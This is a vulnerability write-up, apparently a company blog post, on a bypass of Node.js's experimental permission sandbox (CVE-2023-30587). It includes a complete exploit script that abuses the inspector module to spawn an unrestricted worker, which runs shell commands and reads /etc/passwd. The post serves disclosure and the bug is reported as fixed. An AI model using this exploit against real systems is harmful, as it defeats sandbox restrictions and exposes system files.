Breaking down the Node.js sandbox bypass CVE-2023-30587

Search for a command to run...

I liked the way pixeebot has been finding vulnerabilities and this article shows exactly how the pixeebot team does it
Twitter caused a real problem for the world.Ā They āflattenedā different contributors (experts, amateurs, trolls) into one feed with the same visual weight. You lost the contextual cues (credentials,

An AI-native approach to a broken system
The React2Shell bug is giving me major dĆ©jĆ vu, and I think there are important lessons here in Abstract vs. Concrete Risk (maybe in B2B sales tooāI havenāt fully thought that part through yet). In the 2010s, the Apache Struts team made (what appears...

To do vulnerability triage, we use a number of tools: composable agents, workflows, zero-shot LLM calls, deep research, knowledge bases, code analysis tools ā you get it. But, does any of it matter? We need to know if a simple āAI wrapperā from some ...

Research proves AI can fix code in OSS. Enterprise rollouts demand tenant context, governance, and proof.

Turns out, a lot of people want to try to safely run untrusted code, and that's hard. Pixee Engineer Matt Austin (@mattaustin) recently found a bypass of the new and experimental Node.js sandbox in versions before 20.3.1, and it just received a $3K award from Internet Bug Bounty! We think these new Node.js features will help a lot of people, and we were excited to be able to help button it up a little bit. And because Matt is too lazy to blog, I'll be the one telling you about it.
The core problem was that restrictions made with the --experimental-permission flag could be bypassed by abusing the inspector module. The inspector is accessible from userland code without any special configuration or enabling CLI parameters -- is it weird to decide you want to debug your code, programmatically, after you start running it?
Anyway, the Worker class can take an argument (the kIsInternal Symbol) to create an "internal worker" that doesn't respect process-level restrictions.
You can't access this Symbol (kIsInternal) directly. However, the inspector module can, and it's not disabled when process-level restrictions are in place. If you're not familiar:
The node:inspector module provides an API for interacting with the V8 inspector.
If we attach inspector inside the Worker constructor before the new WorkerImpl is created we can use it to change the value of isInternal via a malicious conditional breakpoint.
Let's call the exploit bypass.js:
const { Session } = require('node:inspector/promises');
const session = new Session();
session.connect();
(async ()=>{
await session.post('Debugger.enable');
await session.post('Runtime.enable');
global.Worker = require('node:worker_threads').Worker;
let {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });
let { internalProperties } = await session.post("Runtime.getProperties", { objectId: objectId });
let {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];
let { scriptSource } = await session.post("Debugger.getScriptSource", { scriptId });
// find the line number where WorkerImpl is called.
const lineNumber = scriptSource.substring(0, scriptSource.indexOf("new WorkerImpl")).split('\n').length;
// WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.
await session.post("Debugger.setBreakpointByUrl", {
lineNumber: lineNumber,
url: "node:internal/worker",
columnNumber: 0,
condition: "((isInternal = true),false)"
});
new Worker(`
const child_process = require("node:child_process");
console.log(child_process.execSync("ls -l").toString());
console.log(require("fs").readFileSync("/etc/passwd").toString())
`, {
eval: true,
execArgv: [
"--experimental-permission",
"--allow-fs-read=*",
"--allow-fs-write=*",
"--allow-child-process",
"--no-warnings"
]
});
})()
Check out Matt's clever condition for the breakpoint, which overwrites the isInternal value during a boolean evaluation, which the debugger will call when deciding if it should "break" or not:
condition: "((isInternal = true),false)"
You can run the exploit and prove the sandbox bypass with a command line this:
$ node --experimental-permission --allow-fs-read=$(pwd) bypass.js
If exploitation didn't work, you'd expect to see something like this:
node:internal/child_process:1103
const result = spawn_sync.spawn(options);
^
Error: Access to this API has been restricted
But you won't see that, you'll see /etc/passwd. š¬
The Node.js team was responsive and quick to remediate this vulnerability. It was fixed in the June 20 2023 security release here: https://nodejs.org/en/blog/vulnerability/june-2023-security-releases
There could be other ways to cause state changes to other internal APIs to achieve the same goal, but fortunately, most of the logic for sandboxing is in C land, so there's less attack surface from Node APIs.